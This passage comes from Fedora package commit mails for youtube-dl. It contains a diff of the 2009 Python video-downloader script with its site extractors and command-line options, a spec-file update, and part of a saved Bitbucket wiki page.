+			video_uploader = urllib.unquote(mobj.group(1))
+
+			# title
+			mobj = re.search(r'(?m)&title=([^&]+)(?:&|$)', video_info_webpage)
+			if mobj is None:
+				self._downloader.trouble(u'ERROR: unable to extract video title')
+				return
+			video_title = urllib.unquote(mobj.group(1))
+			video_title = video_title.decode('utf-8')
+			video_title = re.sub(ur'(?u)&(.+?);', self.htmlentity_transform, video_title)
+			video_title = video_title.replace(os.sep, u'%')
+
+			# simplified title
+			simple_title = re.sub(ur'(?u)([^%s]+)' % simple_title_chars, ur'_', video_title)
+			simple_title = simple_title.strip(ur'_')
+
+			try:
+				# Process video information
+				self._downloader.process_info({
+					'id':		video_id.decode('utf-8'),
+					'url':		video_real_url.decode('utf-8'),
+					'uploader':	video_uploader.decode('utf-8'),
+					'title':	video_title,
+					'stitle':	simple_title,
+					'ext':		video_extension.decode('utf-8'),
+				})
+
+				return
+
+			except UnavailableFormatError, err:
+				if best_quality:
+					if quality_index == len(self._available_formats) - 1:
+						# I don't ever expect this to happen
+						self._downloader.trouble(u'ERROR: no known formats available for video')
+						return
+					else:
+						self.report_unavailable_format(video_id, format_param)
+						quality_index += 1
+						format_param = self._available_formats[quality_index]
+						continue
+				else: 
+					self._downloader.trouble('ERROR: format not available for video')
+					return
+
+
+class MetacafeIE(InfoExtractor):
+	"""Information Extractor for metacafe.com."""
+
+	_VALID_URL = r'(?:http://)?(?:www\.)?metacafe\.com/watch/([^/]+)/([^/]+)/.*'
+	_DISCLAIMER = 'http://www.metacafe.com/family_filter/'
+	_FILTER_POST = 'http://www.metacafe.com/f/index.php?inputType=filter&controllerGroup=user'
+	_youtube_ie = None
+
+	def __init__(self, youtube_ie, downloader=None):
+		InfoExtractor.__init__(self, downloader)
+		self._youtube_ie = youtube_ie
+
+	@staticmethod
+	def suitable(url):
+		return (re.match(MetacafeIE._VALID_URL, url) is not None)
+
+	def report_disclaimer(self):
+		"""Report disclaimer retrieval."""
+		self._downloader.to_stdout(u'[metacafe] Retrieving disclaimer')
+
+	def report_age_confirmation(self):
+		"""Report attempt to confirm age."""
+		self._downloader.to_stdout(u'[metacafe] Confirming age')
+	
+	def report_download_webpage(self, video_id):
+		"""Report webpage download."""
+		self._downloader.to_stdout(u'[metacafe] %s: Downloading webpage' % video_id)
+	
+	def report_extraction(self, video_id):
+		"""Report information extraction."""
+		self._downloader.to_stdout(u'[metacafe] %s: Extracting information' % video_id)
+
+	def _real_initialize(self):
+		# Retrieve disclaimer
+		request = urllib2.Request(self._DISCLAIMER, None, std_headers)
+		try:
+			self.report_disclaimer()
+			disclaimer = urllib2.urlopen(request).read()
+		except (urllib2.URLError, httplib.HTTPException, socket.error), err:
+			self._downloader.trouble(u'ERROR: unable to retrieve disclaimer: %s' % str(err))
+			return
+
+		# Confirm age
+		disclaimer_form = {
+			'filters': '0',
+			'submit': "Continue - I'm over 18",
+			}
+		request = urllib2.Request(self._FILTER_POST, urllib.urlencode(disclaimer_form), std_headers)
+		try:
+			self.report_age_confirmation()
+			disclaimer = urllib2.urlopen(request).read()
+		except (urllib2.URLError, httplib.HTTPException, socket.error), err:
+			self._downloader.trouble(u'ERROR: unable to confirm age: %s' % str(err))
+			return
+	
+	def _real_extract(self, url):
+		# Extract id and simplified title from URL
+		mobj = re.match(self._VALID_URL, url)
+		if mobj is None:
+			self._downloader.trouble(u'ERROR: invalid URL: %s' % url)
+			return
+
+		video_id = mobj.group(1)
+
+		# Check if video comes from YouTube
+		mobj2 = re.match(r'^yt-(.*)$', video_id)
+		if mobj2 is not None:
+			self._youtube_ie.extract('http://www.youtube.com/watch?v=%s' % mobj2.group(1))
+			return
+
+		simple_title = mobj.group(2).decode('utf-8')
+		video_extension = 'flv'
+
+		# Retrieve video webpage to extract further information
+		request = urllib2.Request('http://www.metacafe.com/watch/%s/' % video_id)
+		try:
+			self.report_download_webpage(video_id)
+			webpage = urllib2.urlopen(request).read()
+		except (urllib2.URLError, httplib.HTTPException, socket.error), err:
+			self._downloader.trouble(u'ERROR: unable retrieve video webpage: %s' % str(err))
+			return
+
+		# Extract URL, uploader and title from webpage
+		self.report_extraction(video_id)
+		mobj = re.search(r'(?m)&mediaURL=([^&]+)', webpage)
+		if mobj is None:
+			self._downloader.trouble(u'ERROR: unable to extract media URL')
+			return
+		mediaURL = urllib.unquote(mobj.group(1))
+
+		#mobj = re.search(r'(?m)&gdaKey=(.*?)&', webpage)
+		#if mobj is None:
+		#	self._downloader.trouble(u'ERROR: unable to extract gdaKey')
+		#	return
+		#gdaKey = mobj.group(1)
+		#
+		#video_url = '%s?__gda__=%s' % (mediaURL, gdaKey)
+
+		video_url = mediaURL
+
+		mobj = re.search(r'(?im)<title>(.*) - Video</title>', webpage)
+		if mobj is None:
+			self._downloader.trouble(u'ERROR: unable to extract title')
+			return
+		video_title = mobj.group(1).decode('utf-8')
+
+		mobj = re.search(r'(?ms)<li id="ChnlUsr">.*?Submitter:.*?<a .*?>(.*?)<', webpage)
+		if mobj is None:
+			self._downloader.trouble(u'ERROR: unable to extract uploader nickname')
+			return
+		video_uploader = mobj.group(1)
+
+		try:
+			# Process video information
+			self._downloader.process_info({
+				'id':		video_id.decode('utf-8'),
+				'url':		video_url.decode('utf-8'),
+				'uploader':	video_uploader.decode('utf-8'),
+				'title':	video_title,
+				'stitle':	simple_title,
+				'ext':		video_extension.decode('utf-8'),
+			})
+		except UnavailableFormatError:
+			self._downloader.trouble(u'ERROR: format not available for video')
+
+
+class YoutubeSearchIE(InfoExtractor):
+	"""Information Extractor for YouTube search queries."""
+	_VALID_QUERY = r'ytsearch(\d+|all)?:[\s\S]+'
+	_TEMPLATE_URL = 'http://www.youtube.com/results?search_query=%s&page=%s&gl=US&hl=en'
+	_VIDEO_INDICATOR = r'href="/watch\?v=.+?"'
+	_MORE_PAGES_INDICATOR = r'(?m)>\s*Next\s*</a>'
+	_youtube_ie = None
+	_max_youtube_results = 1000
+
+	def __init__(self, youtube_ie, downloader=None):
+		InfoExtractor.__init__(self, downloader)
+		self._youtube_ie = youtube_ie
+	
+	@staticmethod
+	def suitable(url):
+		return (re.match(YoutubeSearchIE._VALID_QUERY, url) is not None)
+
+	def report_download_page(self, query, pagenum):
+		"""Report attempt to download playlist page with given number."""
+		self._downloader.to_stdout(u'[youtube] query "%s": Downloading page %s' % (query, pagenum))
 
-	try:
-		video_file = open(video_filename, 'wb')
-	except (IOError, OSError):
-		sys.exit('Error: unable to open "%s" for writing.' % video_filename)
-	try:
-		video_len = long(video_data.info()['Content-length'])
-		video_len_str = format_bytes(video_len)
-	except KeyError:
-		video_len = None
-		video_len_str = 'N/A'
-
-	byte_counter = 0
-	block_size = const_initial_block_size
-	start_time = time.time()
-	while True:
-		if video_len is not None:
-			percent = float(byte_counter) / float(video_len) * 100.0
-			percent_str = '%.1f' % percent
-			eta_str = calc_eta(start_time, time.time(), video_len, byte_counter)
+	def _real_initialize(self):
+		self._youtube_ie.initialize()
+	
+	def _real_extract(self, query):
+		mobj = re.match(self._VALID_QUERY, query)
+		if mobj is None:
+			self._downloader.trouble(u'ERROR: invalid search query "%s"' % query)
+			return
+
+		prefix, query = query.split(':')
+		prefix = prefix[8:]
+		if prefix == '':
+			self._download_n_results(query, 1)
+			return
+		elif prefix == 'all':
+			self._download_n_results(query, self._max_youtube_results)
+			return
 		else:
-			percent_str = '---.-'
-			eta_str = '--:--'
-		counter = format_bytes(byte_counter)
-		speed_str = calc_speed(start_time, time.time(), byte_counter)
-		cond_print('\rRetrieving video data: %5s%% (%8s of %s) at %8s/s ETA %s ' % (percent_str, counter, video_len_str, speed_str, eta_str))
-
-		before = time.time()
-		video_block = video_data.read(block_size)
-		after = time.time()
-		dl_bytes = len(video_block)
-		if dl_bytes == 0:
-			break
-		byte_counter += dl_bytes
-		video_file.write(video_block)
-		block_size = new_block_size(before, after, dl_bytes)
-
-	if video_len is not None and byte_counter != video_len:
-		error_advice_exit('server did not send the expected ammount of data')
-
-	video_file.close()
-	cond_print('done.\n')
-	cond_print('Video data saved to %s\n' % video_filename)
-
-except (urllib2.URLError, ValueError, httplib.HTTPException, TypeError, socket.error):
-	cond_print('failed.\n')
-	error_advice_exit('unable to download video data')
+			try:
+				n = long(prefix)
+				if n <= 0:
+					self._downloader.trouble(u'ERROR: invalid download number %s for query "%s"' % (n, query))
+					return
+				elif n > self._max_youtube_results:
+					self._downloader.to_stderr(u'WARNING: ytsearch returns max %i results (you requested %i)'  % (self._max_youtube_results, n))
+					n = self._max_youtube_results
+				self._download_n_results(query, n)
+				return
+			except ValueError: # parsing prefix as integer fails
+				self._download_n_results(query, 1)
+				return
+
+	def _download_n_results(self, query, n):
+		"""Downloads a specified number of results for a query"""
+
+		video_ids = []
+		already_seen = set()
+		pagenum = 1
+
+		while True:
+			self.report_download_page(query, pagenum)
+			result_url = self._TEMPLATE_URL % (urllib.quote_plus(query), pagenum)
+			request = urllib2.Request(result_url, None, std_headers)
+			try:
+				page = urllib2.urlopen(request).read()
+			except (urllib2.URLError, httplib.HTTPException, socket.error), err:
+				self._downloader.trouble(u'ERROR: unable to download webpage: %s' % str(err))
+				return
+
+			# Extract video identifiers
+			for mobj in re.finditer(self._VIDEO_INDICATOR, page):
+				video_id = page[mobj.span()[0]:mobj.span()[1]].split('=')[2][:-1]
+				if video_id not in already_seen:
+					video_ids.append(video_id)
+					already_seen.add(video_id)
+					if len(video_ids) == n:
+						# Specified n videos reached
+						for id in video_ids:
+							self._youtube_ie.extract('http://www.youtube.com/watch?v=%s' % id)
+						return
+
+			if re.search(self._MORE_PAGES_INDICATOR, page) is None:
+				for id in video_ids:
+					self._youtube_ie.extract('http://www.youtube.com/watch?v=%s' % id)
+				return
+
+			pagenum = pagenum + 1
+
+class YoutubePlaylistIE(InfoExtractor):
+	"""Information Extractor for YouTube playlists."""
+
+	_VALID_URL = r'(?:http://)?(?:\w+\.)?youtube.com/(?:view_play_list|my_playlists)\?.*?p=([^&]+).*'
+	_TEMPLATE_URL = 'http://www.youtube.com/view_play_list?p=%s&page=%s&gl=US&hl=en'
+	_VIDEO_INDICATOR = r'/watch\?v=(.+?)&'
+	_MORE_PAGES_INDICATOR = r'/view_play_list?p=%s&page=%s'
+	_youtube_ie = None
+
+	def __init__(self, youtube_ie, downloader=None):
+		InfoExtractor.__init__(self, downloader)
+		self._youtube_ie = youtube_ie
+	
+	@staticmethod
+	def suitable(url):
+		return (re.match(YoutubePlaylistIE._VALID_URL, url) is not None)
+
+	def report_download_page(self, playlist_id, pagenum):
+		"""Report attempt to download playlist page with given number."""
+		self._downloader.to_stdout(u'[youtube] PL %s: Downloading page #%s' % (playlist_id, pagenum))
 
-except KeyboardInterrupt:
-	sys.exit('\n')
+	def _real_initialize(self):
+		self._youtube_ie.initialize()
+	
+	def _real_extract(self, url):
+		# Extract playlist id
+		mobj = re.match(self._VALID_URL, url)
+		if mobj is None:
+			self._downloader.trouble(u'ERROR: invalid url: %s' % url)
+			return
+
+		# Download playlist pages
+		playlist_id = mobj.group(1)
+		video_ids = []
+		pagenum = 1
+
+		while True:
+			self.report_download_page(playlist_id, pagenum)
+			request = urllib2.Request(self._TEMPLATE_URL % (playlist_id, pagenum), None, std_headers)
+			try:
+				page = urllib2.urlopen(request).read()
+			except (urllib2.URLError, httplib.HTTPException, socket.error), err:
+				self._downloader.trouble(u'ERROR: unable to download webpage: %s' % str(err))
+				return
+
+			# Extract video identifiers
+			ids_in_page = []
+			for mobj in re.finditer(self._VIDEO_INDICATOR, page):
+				if mobj.group(1) not in ids_in_page:
+					ids_in_page.append(mobj.group(1))
+			video_ids.extend(ids_in_page)
+
+			if (self._MORE_PAGES_INDICATOR % (playlist_id.upper(), pagenum + 1)) not in page:
+				break
+			pagenum = pagenum + 1
+
+		for id in video_ids:
+			self._youtube_ie.extract('http://www.youtube.com/watch?v=%s' % id)
+		return
+
+class PostProcessor(object):
+	"""Post Processor class.
+
+	PostProcessor objects can be added to downloaders with their
+	add_post_processor() method. When the downloader has finished a
+	successful download, it will take its internal chain of PostProcessors
+	and start calling the run() method on each one of them, first with
+	an initial argument and then with the returned value of the previous
+	PostProcessor.
+
+	The chain will be stopped if one of them ever returns None or the end
+	of the chain is reached.
+
+	PostProcessor objects follow a "mutual registration" process similar
+	to InfoExtractor objects.
+	"""
+
+	_downloader = None
+
+	def __init__(self, downloader=None):
+		self._downloader = downloader
+
+	def set_downloader(self, downloader):
+		"""Sets the downloader for this PP."""
+		self._downloader = downloader
+	
+	def run(self, information):
+		"""Run the PostProcessor.
 
-# Finish
-sys.exit()
+		The "information" argument is a dictionary like the ones
+		composed by InfoExtractors. The only difference is that this
+		one has an extra field called "filepath" that points to the
+		downloaded file.
+
+		When this method returns None, the postprocessing chain is
+		stopped. However, this method may return an information
+		dictionary that will be passed to the next postprocessing
+		object in the chain. It can be the one it received after
+		changing some fields.
+
+		In addition, this method may raise a PostProcessingError
+		exception that will be taken into account by the downloader
+		it was called from.
+		"""
+		return information # by default, do nothing
+	
+### MAIN PROGRAM ###
+if __name__ == '__main__':
+	try:
+		# Modules needed only when running the main program
+		import getpass
+		import optparse
+
+		# General configuration
+		urllib2.install_opener(urllib2.build_opener(urllib2.ProxyHandler()))
+		urllib2.install_opener(urllib2.build_opener(urllib2.HTTPCookieProcessor()))
+		socket.setdefaulttimeout(300) # 5 minutes should be enough (famous last words)
+
+		# Parse command line
+		parser = optparse.OptionParser(
+			usage='Usage: %prog [options] url...',
+			version='2009.09.13',
+			conflict_handler='resolve',
+		)
+
+		parser.add_option('-h', '--help',
+				action='help', help='print this help text and exit')
+		parser.add_option('-v', '--version',
+				action='version', help='print program version and exit')
+		parser.add_option('-i', '--ignore-errors',
+				action='store_true', dest='ignoreerrors', help='continue on download errors', default=False)
+		parser.add_option('-r', '--rate-limit',
+				dest='ratelimit', metavar='L', help='download rate limit (e.g. 50k or 44.6m)')
+
+		authentication = optparse.OptionGroup(parser, 'Authentication Options')
+		authentication.add_option('-u', '--username',
+				dest='username', metavar='UN', help='account username')
+		authentication.add_option('-p', '--password',
+				dest='password', metavar='PW', help='account password')
+		authentication.add_option('-n', '--netrc',
+				action='store_true', dest='usenetrc', help='use .netrc authentication data', default=False)
+		parser.add_option_group(authentication)
+
+		video_format = optparse.OptionGroup(parser, 'Video Format Options')
+		video_format.add_option('-f', '--format',
+				action='store', dest='format', metavar='FMT', help='video format code')
+		video_format.add_option('-b', '--best-quality',
+				action='store_const', dest='format', help='download the best quality video possible', const='0')
+		video_format.add_option('-m', '--mobile-version',
+				action='store_const', dest='format', help='alias for -f 17', const='17')
+		video_format.add_option('-d', '--high-def',
+				action='store_const', dest='format', help='alias for -f 22', const='22')
+		parser.add_option_group(video_format)
+
+		verbosity = optparse.OptionGroup(parser, 'Verbosity / Simulation Options')
+		verbosity.add_option('-q', '--quiet',
+				action='store_true', dest='quiet', help='activates quiet mode', default=False)
+		verbosity.add_option('-s', '--simulate',
+				action='store_true', dest='simulate', help='do not download video', default=False)
+		verbosity.add_option('-g', '--get-url',
+				action='store_true', dest='geturl', help='simulate, quiet but print URL', default=False)
+		verbosity.add_option('-e', '--get-title',
+				action='store_true', dest='gettitle', help='simulate, quiet but print title', default=False)
+		parser.add_option_group(verbosity)
+
+		filesystem = optparse.OptionGroup(parser, 'Filesystem Options')
+		filesystem.add_option('-t', '--title',
+				action='store_true', dest='usetitle', help='use title in file name', default=False)
+		filesystem.add_option('-l', '--literal',
+				action='store_true', dest='useliteral', help='use literal title in file name', default=False)
+		filesystem.add_option('-o', '--output',
+				dest='outtmpl', metavar='TPL', help='output filename template')
+		filesystem.add_option('-a', '--batch-file',
+				dest='batchfile', metavar='F', help='file containing URLs to download')
+		filesystem.add_option('-w', '--no-overwrites',
+				action='store_true', dest='nooverwrites', help='do not overwrite files', default=False)
+		filesystem.add_option('-c', '--continue',
+				action='store_true', dest='continue_dl', help='resume partially downloaded files', default=False)
+		parser.add_option_group(filesystem)
+
+		(opts, args) = parser.parse_args()
+
+		# Batch file verification
+		batchurls = []
+		if opts.batchfile is not None:
+			try:
+				batchurls = open(opts.batchfile, 'r').readlines()
+				batchurls = [x.strip() for x in batchurls]
+				batchurls = [x for x in batchurls if len(x) > 0]
+			except IOError:
+				sys.exit(u'ERROR: batch file could not be read')
+		all_urls = batchurls + args
+
+		# Conflicting, missing and erroneous options
+		if len(all_urls) < 1:
+			parser.error(u'you must provide at least one URL')
+		if opts.usenetrc and (opts.username is not None or opts.password is not None):
+			parser.error(u'using .netrc conflicts with giving username/password')
+		if opts.password is not None and opts.username is None:
+			parser.error(u'account username missing')
+		if opts.outtmpl is not None and (opts.useliteral or opts.usetitle):
+			parser.error(u'using output template conflicts with using title or literal title')
+		if opts.usetitle and opts.useliteral:
+			parser.error(u'using title conflicts with using literal title')
+		if opts.username is not None and opts.password is None:
+			opts.password = getpass.getpass(u'Type account password and press return:')
+		if opts.ratelimit is not None:
+			numeric_limit = FileDownloader.parse_bytes(opts.ratelimit)
+			if numeric_limit is None:
+				parser.error(u'invalid rate limit specified')
+			opts.ratelimit = numeric_limit
+
+		# Information extractors
+		youtube_ie = YoutubeIE()
+		metacafe_ie = MetacafeIE(youtube_ie)
+		youtube_pl_ie = YoutubePlaylistIE(youtube_ie)
+		youtube_search_ie = YoutubeSearchIE(youtube_ie)
+
+		# File downloader
+		fd = FileDownloader({
+			'usenetrc': opts.usenetrc,
+			'username': opts.username,
+			'password': opts.password,
+			'quiet': (opts.quiet or opts.geturl or opts.gettitle),
+			'forceurl': opts.geturl,
+			'forcetitle': opts.gettitle,
+			'simulate': (opts.simulate or opts.geturl or opts.gettitle),
+			'format': opts.format,
+			'outtmpl': ((opts.outtmpl is not None and opts.outtmpl.decode(preferredencoding()))
+				or (opts.usetitle and u'%(stitle)s-%(id)s.%(ext)s')
+				or (opts.useliteral and u'%(title)s-%(id)s.%(ext)s')
+				or u'%(id)s.%(ext)s'),
+			'ignoreerrors': opts.ignoreerrors,
+			'ratelimit': opts.ratelimit,
+			'nooverwrites': opts.nooverwrites,
+			'continuedl': opts.continue_dl,
+			})
+		fd.add_info_extractor(youtube_search_ie)
+		fd.add_info_extractor(youtube_pl_ie)
+		fd.add_info_extractor(metacafe_ie)
+		fd.add_info_extractor(youtube_ie)
+		retcode = fd.download(all_urls)
+		sys.exit(retcode)
+
+	except DownloadError:
+		sys.exit(1)
+	except SameFileError:
+		sys.exit(u'ERROR: fixed output name but more than one file to download')
+	except KeyboardInterrupt:
+		sys.exit(u'\nERROR: Interrupted by user')


Index: youtube-dl.spec
===================================================================
RCS file: /cvs/pkgs/rpms/youtube-dl/devel/youtube-dl.spec,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- youtube-dl.spec	27 Jul 2009 08:55:10 -0000	1.3
+++ youtube-dl.spec	9 Oct 2009 16:41:25 -0000	1.4
@@ -1,13 +1,13 @@
 Name:           youtube-dl
-Version:        2008.01.24
-Release:        3%{?dist}
+Version:        2009.09.13
+Release:        2%{?dist}
 Summary:        Small command-line program to download videos from YouTube
 Summary(pl):    Tekstowy program do pobierania film?w z youtube.com
 Group:          Applications/Multimedia
-License:        MIT
-URL:            http://www.arrakis.es/~rggi3/youtube-dl/
-Source0:        http://www.arrakis.es/~rggi3/youtube-dl/youtube-dl
-Source1:        http://www.arrakis.es/~rggi3/youtube-dl/index.html
+License:        Public Domain
+URL:            http://bitbucket.org/rg3/youtube-dl
+Source0:        http://bitbucket.org/rg3/youtube-dl/raw/%{version}/youtube-dl
+Source1:        http://bitbucket.org/rg3/youtube-dl/wiki/Home
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildArch:      noarch
 Requires:       python >= 2.4
@@ -20,7 +20,7 @@ youtube-dl to ma?y tekstowy program s?
 youtube.com.
 
 %prep
-cp %{SOURCE1} .
+install -p -m0644 %{SOURCE1} index.html
 
 %build
 #nothing to build
@@ -39,6 +39,13 @@ rm -rf $RPM_BUILD_ROOT
 %doc index.html
 
 %changelog
+* Fri Oct 09 2009 Rafa? Psota <rafalzaq at gmail.com> - 2009.09.13-2
+- Small fix in %%prep
+
+* Sun Sep 27 2009 Rafa? Psota <rafalzaq at gmail.com> - 2009.09.13-1
+- Update to 2009.09.13
+- License change to Public Domain
+
 * Mon Jul 27 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 2008.01.24-3
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From rafalzaq at fedoraproject.org  Fri Oct  9 16:48:39 2009
From: rafalzaq at fedoraproject.org (=?utf-8?q?Rafa=C5=82_Psota?=)
Date: Fri,  9 Oct 2009 16:48:39 +0000 (UTC)
Subject: rpms/youtube-dl/devel Home,NONE,1.1
Message-ID: <20091009164839.09DAC11C00C1@cvs1.fedora.phx.redhat.com>

Author: rafalzaq

Update of /cvs/pkgs/rpms/youtube-dl/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv27287

Added Files:
	Home 
Log Message:
forgot about Home file


--- NEW FILE Home ---
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" 
	"http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<head>
	<title>
	rg3 / youtube-dl / wiki / Home &mdash; bitbucket.org
</title>
	<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
	<meta name="description" content="Mercurial hosting - we're here to serve." />
	<meta name="keywords" content="mercurial,hg,hosting,bitbucket,rg3,youtube-dl,is,a,small,command-line,program,for,downloading,videos,from,YouTube.com.,wiki" />
	<link rel="stylesheet" type="text/css" href="http://bitbucket.org/m/css/layout.css?12985842" />
	<link rel="stylesheet" type="text/css" href="http://bitbucket.org/m/css/print.css?12985842" media="print" />
	<link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="Bitbucket" />
	<link rel="icon" href="http://bitbucket.org/m/img/logo_new.png" type="image/png"/>
	<script type="text/javascript" src="http://bitbucket.org/m/js/lib/bundle.180909Sep.js?2152820"></script>
	
	<script type="text/javascript">
		$(document).ready(function() {
			Dropdown.init();
			$(".tooltip").tipsy({gravity:'s'});
		});
	</script>
	<noscript>
		<style type="text/css">
			.dropdown-container-text .dropdown {
				position: static !important;
			}
		</style>
	</noscript>

	<!--[if lt IE 7]>
	<style type="text/css">
	body {
		behavior: url(http://bitbucket.org/m/css/csshover.htc);
	}
	
	#issues-issue pre {
		white-space: normal !important;
	}
	
	.changeset-description {
		white-space: normal !important;
	}
	</style>
	<script type="text/javascript"> 
		$(document).ready(function(){ 
			$('#header-wrapper').pngFix();
			$('#sourcelist').pngFix();
			$('.promo-signup-screenshot').pngFix();
		}); 
	</script>
	<![endif]-->
	
	<link rel="stylesheet" href="http://bitbucket.org/m/css/highlight/trac.css" type="text/css" />
	<script type="text/javascript">
		$(document).ready(function() {
			$('#wiki table:not(.highlighttable)').addClass('wikitable');
			$('#wiki table.wikitable tr:even').addClass('crow2');
		});
	</script>

	
	<link href="/rg3/youtube-dl/rss/" rel="alternate nofollow" type="application/rss+xml" title="RSS Feed for youtube-dl" />

</head>
<body class="">
	<div id="main-wrapper">
		<div id="header-wrapper">
			<div id="header">
				<a href="/"><img src="http://bitbucket.org/m/img/logo_myriad.png" alt="Bitbucket" id="header-wrapper-logo" /></a>
				
					<div id="header-nav">
						<div id="header-nav-login-forms">
							<form action="/account/signin/" method="post">
								<fieldset>
									<input id="id_username_header" type="text" class="required login" name="username" value="username" maxlength="30" onfocus="if(this.value=='username'){this.value='';}; $(this).addClass('normaltext');" /> <input id="id_password_header" type="password" class="required login" name="password" value="password" maxlength="128" onfocus="if(this.value=='password'){this.value='';}; $(this).addClass('normaltext');" /> <input type="submit" name="blogin" value="&raquo;" style="display:none;" />
									<input type="hidden" name="next" value="/rg3/youtube-dl/wiki/Home"/>
								</fieldset>
							</form>
							<form name="fopenid" action="/account/signin/" method="post">
								<fieldset>
									<input id="id_openid_url" type="text" class="required openid" name="openid_url" maxlength="255" value="your OpenID URL" onfocus="if(this.value=='your OpenID URL'){this.value='';}; $(this).addClass('normaltext');" /> <input name="bsignin" type="submit" value="&raquo;" style="display: none;" />
									<input type="hidden" name="next" value="/rg3/youtube-dl/wiki/Home" />
								</fieldset>
							</form>
						</div>
						
						<ul class="right">
							<li><a href="/">Home</a></li>
							<li><a href="/plans/"><b>Plans &amp; Signup</b></a></li>
							<li><a href="/repo/all/">Repositories</a></li>
							<li><a href="/news/">News</a></li>
							<li><a href="/help/">Help</a></li>
							<li><a href="/account/signin/">Login</a></li>
						</ul>
					</div>
				
			</div>
		</div>
		<div id="content-wrapper">
			
			
			

			
			
			
	
	





	<script type="text/javascript" src="http://bitbucket.org/m/js/lib/jquery.cookie.js"></script> <!--REMOVE WHEN NEWER BUNDLE THAN 030309Mar -->
	<script type="text/javascript">
		var date = new Date();
		date.setTime(date.getTime() + (365 * 24 * 60 * 60 * 1000));
		var cookieoptions = { path: '/', expires: date };
		
		$(document).ready(function(){
			$('#toggle-repo-content').click(function(){
				$('#repo-desc-cloneinfo').toggle('fast');
				$('#repo-menu').toggle();
				$('#repo-menu-links-mini').toggle(100);
				$('.repo-desc-description').toggle('fast');
				var avatar_new_width = ($('.repo-avatar').width() == 35) ? 16 : 35;
				$('.repo-avatar').animate({ width: avatar_new_width }, 250);
				
				if ($.cookie('toggle_status') == 'hide') {
					$.cookie('toggle_status', 'show', cookieoptions);
					$(this).css('background-image','url(http://bitbucket.org/m/img/repo-toggle-up.png)');
				} else {
					$.cookie('toggle_status', 'hide', cookieoptions);
					$(this).css('background-image','url(http://bitbucket.org/m/img/repo-toggle-down.png)');
				}
			});
			
			if ($.cookie('toggle_status') == 'hide') {
				$('#toggle-repo-content').css('background-image','url(http://bitbucket.org/m/img/repo-toggle-down.png)');
				$('#repo-desc-cloneinfo').hide();
				$('#repo-menu').hide();
				$('#repo-menu-links-mini').show();
				$('.repo-desc-description').hide();
				$('.repo-avatar').css({ width: '16px' });
			} else {
				$('#toggle-repo-content').css('background-image','url(http://bitbucket.org/m/img/repo-toggle-up.png)');
				$('#repo-desc-cloneinfo').show();
				$('#repo-menu').show();
				$('#repo-menu-links-mini').hide();
				$('.repo-desc-description').show();
				$('.repo-avatar').css({ width: '35px' });
			}
		});
	</script>


<div id="tabs">
	<ul class="ui-tabs-nav">
		<li>
			<a href="/rg3/youtube-dl/overview/"><span>Overview</span></a>
		</li>

		<li>
			<a href="/rg3/youtube-dl/downloads/"><span>Downloads (0)</span></a>
		</li>
		
		

		<li>
			
				<a href="/rg3/youtube-dl/src/"><span>Source</span></a>			
			
		</li>
		
		<li>
			<a href="/rg3/youtube-dl/changesets/"><span>Changesets</span></a>
		</li>

		
			
				<li class="ui-tabs-nav-issues ui-tabs-selected">
					<a href="/rg3/youtube-dl/wiki/"><span>Wiki</span></a>
				</li>
			
		

		
			
				<li class="ui-tabs-nav-issues">
					<a href="/rg3/youtube-dl/issues/?status=new&amp;status=open"><span>Issues (4) &raquo;</span></a>
					<ul>
						<li><a href="/rg3/youtube-dl/issues/?status=new">New issues</a></li>
						<li><a href="/rg3/youtube-dl/issues/?status=new&amp;status=open">Open issues</a></li>
						<li><a href="/rg3/youtube-dl/issues/?status=resolved&amp;status=invalid&amp;status=duplicate">Closed issues</a></li>
					
						<li><a href="/rg3/youtube-dl/issues/">All issues</a></li>
						<li><a href="/rg3/youtube-dl/issues/query/">Advanced query</a></li>
						<li><a href="/rg3/youtube-dl/issues/new/">Create new issue</a></li>
					</ul>
				</li>
			
		
				
		
			
		
		
		<li class="tabs-right tabs-far-right">
			<a href="/rg3/youtube-dl/descendants/"><span>Forks/Queues (3)</span></a>
		</li>
		
		<li class="tabs-right">
			<a href="/rg3/youtube-dl/zealots/"><span>Followers (21)</span></a>
		</li>
	</ul>
</div>

<div id="repo-menu">
		<div id="repo-menu-links">
			<ul>
				<li>
					<a href="/rg3/youtube-dl/rss/" class="noborder repo-menu-rss" title="RSS Feed for youtube-dl">RSS</a>
				</li>
				<li>
					<a href="/rg3/youtube-dl/atom/" class="noborder repo-menu-atom" title="Atom Feed for youtube-dl">Atom</a>
				</li>
				
				<li>
					<a href="/rg3/youtube-dl/pull/" class="link-request-pull">
						pull request
					</a>
				</li>
				
				<li><a href="/rg3/youtube-dl/fork/" class="link-fork">fork</a></li>
				
					<li><a href="/rg3/youtube-dl/hack/" class="link-hack">patch queue</a></li>
				
				<li>
					
						<a rel="nofollow" href="/rg3/youtube-dl/follow/" class="link-follow">follow</a>
					
				</li>
				<li><a class="link-download">get source &raquo;</a>

					<ul>
						
						
							<li><a rel="nofollow" href="/rg3/youtube-dl/get/805624cfc278.zip" class="zip">zip</a></li>
							<li><a rel="nofollow" href="/rg3/youtube-dl/get/805624cfc278.gz" class="compressed">gz</a></li>
							<li><a rel="nofollow" href="/rg3/youtube-dl/get/805624cfc278.bz2" class="compressed">bz2</a></li>
						
						
					</ul>
				</li>
			</ul>
		</div>
		
		
		<div id="repo-menu-branches-tags">
 			<ul>
				<li class="icon-branches">
					branches &raquo;
					
					<ul>
					
						<li><a href="/rg3/youtube-dl/src/805624cfc278/">default</a></li>
					
					</ul>
					
				</li>
				<li class="icon-tags">
					tags &raquo;
					
					<ul>
					
						<li><a href="/rg3/youtube-dl/src/805624cfc278/">tip</a></li>
					
						<li><a href="/rg3/youtube-dl/src/6947c04fb1b4/">2009.09.13</a></li>
					
						<li><a href="/rg3/youtube-dl/src/4597eb63af5c/">2009.09.08</a></li>
					
						<li><a href="/rg3/youtube-dl/src/df8b882d8b39/">2009.08.08</a></li>
					
